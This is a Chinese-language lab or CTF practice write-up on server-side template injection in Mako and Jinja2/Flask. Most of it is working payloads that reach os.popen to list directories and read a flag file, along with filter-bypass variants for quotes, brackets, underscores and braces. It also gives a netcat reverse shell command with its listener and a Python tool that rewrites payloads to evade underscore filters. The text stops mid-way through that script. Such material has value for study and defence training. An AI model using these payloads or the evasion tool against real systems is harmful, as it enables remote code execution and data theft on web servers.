靶场
大佬集成好的一个靶场
https://www.bilibili.com/video/BV1tj411u7Bx?t=2.2
练习
注:本篇脚本可在 找到
mako模板注入
测试模板类型


确定是mako模板
输入:
${''.class .base .subclasses ()}

看源码得到:
bash
<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'moduledef'>, <class 'module'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_itemiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'functools.partialmethod'>, <class 'enum.auto'>, <enum 'Enum'>, <class '_sre.SRE_Pattern'>, <class '_sre.SRE_Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.Pattern'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, typing._TypingBase, typing.Generic, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, typing.Protocol, typing.Generic[+T_co], typing.Generic[+T_co, -T_contra, +V_co], typing.Protocol[+T_co], typing.Generic[~KT, +VT_co], typing.Generic[+T_co, -T_contra], typing.Generic[+CT_co], <class 'typing.NamedTuple'>, typing.Generic[~AnyStr], <class 'typing.io'>, <class 'typing.re'>, <class '_ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class '_random.Random'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'Struct'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'textwrap.TextWrapper'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'gettext.NullTranslations'>, <class 'argparse._AttributeHolder'>, <class 'argparse.HelpFormatter._Section'>, <class 'argparse.HelpFormatter'>, <class 'argparse.FileType'>, <class 'argparse._ActionsContainer'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, typing.Generic[~_TAccessorValue], <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, typing.Generic[~_T], <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.ContextVar'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class '__future__._Feature'>, <class 'timeit.Timer'>, <class 'mako.util.PluginLoader'>, <class 'mako.util.memoized_property'>, <class 'mako.util.memoized_instancemethod'>, <class 'mako.util.FastEncodingBuffer'>, <class 'mako.util.LRUCache._Item'>, <class 'mako.cache.Cache'>, <class 'mako.cache.CacheImpl'>, <class 'mako.exceptions.RichTraceback'>, <class 'mako.filters.Decode'>, <class 'mako.filters.XMLEntityEscaper'>, <class 'mako._ast_util.NodeVisitor'>, <class 'mako.pyparser.ExpressionGenerator'>, <class 'mako.ast.PythonCode'>, <class 'mako.ast.ArgumentList'>, <class 'mako.ast.FunctionDecl'>, <class 'mako.parsetree.Node'>, <class 'mako.pygen.PythonPrinter'>, <class 'mako.codegen._CompileContext'>, <class 'mako.codegen._GenerateRenderMethod'>, <class 'mako.codegen._Identifiers'>, <class 'mako.codegen.LoopVariable'>, <class 'mako.runtime.Context'>, <class 'mako.runtime.Undefined'>, <class 'mako.runtime.LoopStack'>, <class 'mako.runtime.LoopContext'>, <class 'mako.runtime._NSAttr'>, <class 'mako.runtime.Namespace'>, <class 'mako.lexer.Lexer'>, <class 'mako.template.Template'>, <class 'mako.template.ModuleInfo'>, <class 'unicodedata.UCD'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>, <class 'mako.codegen._GenerateRenderMethod.write_toplevel.<locals>.FindTopLevel'>
使用脚本差找位置

含有os的类在117位
输入:
${''.class .base .subclasses ()[117].init .globals ['popen']('ls /').read()}

${''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()}

mako命令文本插入

输入:"}${7*7}${"

原因:需要闭合模板的语句
原语句:${"【插入的内容】"}
闭合后:${""}${7*7}${""}
输出:49
bash
"}${''.__class__.__base__.__subclasses__()}${"
"}${''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}${"
"}${''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}${"

mako文本拼接插入
直接用${}不可以
尝试1 or 1

理解:
假设源码为
python
result = 219 == 1 or ''.__class__.__base__.__subclasses__()
print(len(result))
运算规则为
python
# 例1:右边为真(非空列表)
219 == 1 or [1, 2] # 结果:[1, 2](真值)
# 例2:右边为假(空列表)
219 == 1 or [] # 结果:[](假值!)
# 例3:右边为假(0)
219 == 1 or 0 # 结果:0(假值!)
它之所以能执行,纯粹是因为 or 的短路机制导致右边表达式被作为返回值求值了
构造:
1 or ''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()

mako过滤
题目过滤了引号(单引号 ' 和双引号 "),无法直接使用字符串
使用mako的self
${self.class .base .base .subclasses ()[117].init .globals }

查了资料后,
${self.module.cache.util.os.popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read()}

jinja2模板注入

{{''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()}}
{{lipsum.globals .os.popen('cat flag').read()}}

flask无过滤

是jinjia2模板
{{''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()}}
{{lipsum.globals .os.popen('cat /flag').read()}}
{{().class .base .subclasses ()[80].init .globals .builtins 'import'.popen('cat flag').read()}}

过滤大括号

{%print(lipsum.globals .os.popen('cat flag').read())%}
{%print(''.class .base .subclasses ()[117].init .globals['popen']('cat /flag').read())%}
flask无回显
方法一:

无回显试试文件包含可不可以
{{lipsum.globals ['os'].popen('ls / | tee /var/www/html/1.txt').read()}}
{{lipsum.globals ['os'].popen('ls / > /var/www/html/1.txt').read()}}


{{lipsum.globals ['os'].popen('cat /flag | tee /var/www/html/1.txt').read()}}

方法二:反弹shell
kali(肉机)开放并监听8888:
nc -lvnp 8888
靶机连接kali(肉机)8888端口:
{{lipsum.globals ['os'].popen('nc 192.168.6.131 8888 -e /bin/bash').read()}}

过滤中括号
可使用魔术方法__getitem__替换中括号[]
bash
# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen)('cat /flag').read()}}
或者用flask特有的函数:
bash
{{lipsum.__globals__.os.popen('cat /flag').read()}}

过滤了单、双引号
bash
#get传参?a=cat%20%2fflag
{{lipsum.__globals__.os.popen(request.args.a).read()}}

过滤下划线
?a=
{{''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()}}
{{|attr(request.form.a)}}
a=class &b=base &c=subclasses &d=init &e=globals&code={{''|attr(request.form.a)|attr(request.form.b)|attr(request.form.c)()[117]|attr(request.form.d)|attr(request.form.e)('popen')('cat /flag')|attr('read')}}
{{''.class .base .subclasses ()[117].init .globals ['popen']('cat /flag').read()}}

code={{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}&p1=class &p2=base &p3=subclasses &p4=getitem &p5=init &p6=globals &p7=getitem
这里手搓payload太困难了,就写了个无下划线转化脚本(这里出的是post传参的payload)
python
import re
import sys
import argparse
from string import ascii_lowercase
from collections import OrderedDict
class SSTIPayloadConverter:
"""
Jinja2 SSTI Payload 转换器 - Yv_30无下划线转化 v3.0
功能特性:
1. 自动提取所有含下划线的字符串至 request.form 参数(无下划线Payload)
2. 自动生成16进制编码绕过版本(\x5f 替换 _)
3. 智能处理 __globals__/__dict__ 后的字典索引转换
"""
def __init__(self):
self.param_map = OrderedDict()
self.param_reverse = {}
self.param_counter = 0
self.params = list(ascii_lowercase)
self.DICT_RETURNING_ATTRS = {'__globals__', '__dict__'}
def get_param_letter(self, attr_name):
"""分配参数字母,相同属性名复用同一字母"""
if attr_name not in self.param_map:
if self.param_counter >= len(self.params):
raise ValueError(f"参数过多:'{attr_name}' 超出26个字母限制")
letter = self.params[self.param_counter]
self.param_map[attr_name] = letter
self.param_reverse[letter] = attr_name
self.param_counter += 1
return self.param_map[attr_name]
def _contains_underscore(self, s):
return '_' in str(s)
def _encode_underscores_hex(self, text):
"""将下划线替换为16进制转义 \x5f"""
# 使用 \\x5f 确保print输出显示为 \x5f 而非实际下划线
return text.replace('_', '\\x5f')
def generate_hex_payload(self, converted_payload):
"""
生成16进制编码版本:将 request.form.x 替换为编码后的硬编码字符串
例如:request.form.a (对应 __class__) -> '\x5f\x5fclass\x5f\x5f'
"""
hex_payload = converted_payload
# 按字母顺序替换,避免短字符串干扰(虽然单字母不会有此问题)
for letter in sorted(self.param_reverse.keys()):
attr_value = self.param_reverse[letter]
encoded_value = self._encode_underscores_hex(attr_value)
# 替换 request.form.letter 为 'encoded_value'
hex_payload = hex_payload.replace(
f'request.form.{letter}',
f"'{encoded_value}'"
)
return hex_payload
def convert(self, payload):
"""转换 SSTI Payload"""
original = payload.strip()
# 提取 {{ }} 内容
match = re.match(r'^(\{\{\s*)(.*?)(\s*\}\})$', original, re.DOTALL)
if match:
prefix, inner, suffix = match.groups()
else:
prefix, inner, suffix = '{{', original, '}}'
result = []
i = 0
n = len(inner)
last_attr_was_dict_returning = False
# 提取起始对象
start_pattern = r'^(\s*(?:"[^"]*"|\'[^\']*\'|\(\)|\[\]|\d+|\w+|\([^)]*\)|\{[^}]*\})\s*)'
start_match = re.match(start_pattern, inner)
if start_match:
result.append(start_match.group(1).strip())
i = start_match.end()
else:
# 处理括号表达式开头
if i < n and inner[i] == '(':
depth = 1
j = i + 1
while j < n and depth > 0:
if inner[j] == '(':
depth += 1
elif inner[j] == ')':
depth -= 1
j += 1
if depth == 0:
result.append(inner[i:j])
i = j
# 遍历处理链式调用
while i < n:
char = inner[i]
if char == '.':
m = re.match(r'\.(\w+)', inner[i:])
if m:
attr_name = m.group(1)
if last_attr_was_dict_returning:
# 字典索引模式
letter_getitem = self.get_param_letter('__getitem__')
result.insert(0, '(')
result.append(f'|attr(request.form.{letter_getitem})')
if self._contains_underscore(attr_name):
letter_val = self.get_param_letter(attr_name)
result.append(f')(request.form.{letter_val})')
else:
result.append(f')("{attr_name}")')
last_attr_was_dict_returning = False
else:
# 普通属性
letter = self.get_param_letter(attr_name)
result.append(f'|attr(request.form.{letter})')
last_attr_was_dict_returning = (attr_name in self.DICT_RETURNING_ATTRS)
# 检测无参调用 ()
next_pos = i + len(attr_name)
if next_pos + 2 <= n and inner[next_pos:next_pos + 2] == '()':
result.append('()')
i += 2
i += m.end()
elif char == '[':
content, length = self._extract_bracket_content(inner[i:])
if content is not None:
content = content.strip()
if last_attr_was_dict_returning:
letter_getitem = self.get_param_letter('__getitem__')
result.insert(0, '(')
result.append(f'|attr(request.form.{letter_getitem})')
if self._contains_underscore(content):
pure_val = content.strip('"\'')
letter_val = self.get_param_letter(pure_val)
result.append(f')(request.form.{letter_val})')
else:
result.append(f')({content})')
last_attr_was_dict_returning = False
else:
letter_getitem = self.get_param_letter('__getitem__')
if self._contains_underscore(content):
pure_val = content.strip('"\'')
letter_val = self.get_param_letter(pure_val)
result.append(f'|attr(request.form.{letter_getitem})(request.form.{letter_val})')
else:
result.append(f'|attr(request.form.{letter_getitem})({content})')
i += length
elif char == '(':
content, length = self._extract_paren_content(inner[i:])
if content is not None:
# 处理参数中的下划线(如函数调用的字符串参数)
processed = content
if self._contains_underscore(content):
# 提取引号内的内容并编码
for quote in ["'", '"']:
if quote in content:
parts = content.split(quote)
new_parts = []
for idx, part in enumerate(parts):
if idx % 2 == 1 and self._contains_underscore(part): # 引号内的部分
letter_val = self.get_param_letter(part)
new_parts.append(f"{quote}request.form.{letter_val}{quote}")
else:
new_parts.append(part)
processed = ''.join(new_parts)
break
result.append(f'({processed})')
i += length
else:
i += 1
else:
i += 1
converted_inner = ''.join(result)
converted = prefix + converted_inner + suffix
# 生成16进制编码版本
hex_converted = self.generate_hex_payload(converted)
# 生成POST参数
param_pairs = [f'{letter}={attr}' for letter, attr in self.param_reverse.items()]
param_str = '&'.join(param_pairs)
return {
'original': original,
'converted': converted,
'hex_converted': hex_converted,
'params': param_str,
'mapping': dict(self.param_map),
'full_request': f"code={converted}&{param_str}"
}
def _extract_bracket_content(self, s):
"""提取方括号内容"""
if not s.startswith('['):
return None, 0
depth = 1
i = 1
n = len(s)
in_string = False
string_char = None
while i < n and depth > 0:
char = s[i]
if not in_string:
if char in '"\'':
in_string = True
string_char = char
elif char == '[':
depth += 1
elif char == ']':
depth -= 1
else:
if char == string_char and s[i - 1] != '\\':
in_string = False
i += 1
return (s[1:i - 1], i) if depth == 0 else (None, 0)
def _extract_paren_content(self, s):
"""提取圆括号内容"""
if not s.startswith('('):
return None, 0
depth = 1
i = 1
n = len(s)
in_string = False
string_char = None
while i < n and depth > 0:
char = s[i]
if not in_string:
if char in '"\'':
in_string = True
string_char = char
elif char == '(':
depth += 1
elif char == ')':
depth -= 1
else:
if char == string_char and s[i - 1] != '\\':
in_string = False
i += 1
return (s[1:i - 1], i) if depth == 0 else (None, 0)
def print_banner():
print("=" * 80)
print("Jinja2 SSTI Payload 转换器 - Yv_30无下划线转化 v3.0")
print("功能:request.form传参 + 16进制编码(\\x5f)双模式绕过")
print("=" * 80)
print()
def main():
parser = argparse.ArgumentParser(
description='SSTI Payload双模式转换:request.form传参 / 16进制编码',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='示例: python ssti_v3.py "{{lipsum.__globals__.os.popen(\'id\').read()}}"'
)
parser.add_argument('payload', nargs='?', help='原始SSTI Payload')
parser.add_argument('-i', '--interactive', action='store_true', help='交互模式')
parser.add_argument('--no-color', action='store_true', help='禁用颜色')
args = parser.parse_args()
C = {
'cyan': '\033[36m' if not args.no_color else '',
'green': '\033[32m' if not args.no_color else '',
'yellow': '\033[33m' if not args.no_color else '',
'red': '\033[31m' if not args.no_color else '',
'blue': '\033[34m' if not args.no_color else '',
'reset': '\033[0m' if not args.no_color else ''
}
print_banner()
# 输入处理
if args.interactive or args.payload is None:
print(f"{C['cyan']}[+] 已进入交互模式(支持多行,空行结束){C['reset']}")
print(
f"{C['yellow']}示例: {{{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__['__import__']('os').popen('cat /flag').read()}}}}{C['reset']}")
print("-" * 80)
lines = []
line_num = 1
while True:
try:
line = input(f"{C['cyan']}{line_num:3}> {C['reset']}")
if not line.strip() and lines:
break
if line.strip():
lines.append(line)
line_num += 1
except (EOFError, KeyboardInterrupt):
print(f"\n{C['red']}[!] 已取消{C['reset']}")
return
payload = '\n'.join(lines)
else:
payload = args.payload
if not payload.strip():
print(f"{C['red']}[!] 错误:未提供Payload{C['reset']}")
return
try:
converter = SSTIPayloadConverter()
result = converter.convert(payload)
# 安全检查
if '_' in result['converted']:
print(f"{C['red']}[!] 警告:标准Payload仍含下划线{C['reset']}")
print(f"\n{C['green']}[✓] 转换成功!生成两种绕过方式{C['reset']}\n")
# 1. 原始输入
print(f"{C['yellow']}[原始 Payload]{C['reset']}")
print(result['original'])
print()
# 2. 方式一:Request.Form传参(无下划线)
print(f"{C['yellow']}[转换后 Payload - Request.Form传参模式]{C['reset']}")
print(f"{C['cyan']}{result['converted']}{C['reset']}")
print()
print(f"{C['yellow']}[POST 参数]{C['reset']}")
print(result['params'])
print()
# 3. 方式二:16进制编码绕过
print(f"{C['blue']}[16位编码绕过Payload - 16进制转义模式]{C['reset']}")
print(f"{C['cyan']}{result['hex_converted']}{C['reset']}")
print(f"{C['blue']}(使用 \\x5f 替代所有下划线,无需额外POST参数){C['reset']}")
print()
# 4. 参数映射表
print(f"{C['yellow']}[参数映射表]{C['reset']}")
max_len = max(len(v) for v in result['mapping'].values()) if result['mapping'] else 0
for letter, attr in result['mapping'].items():
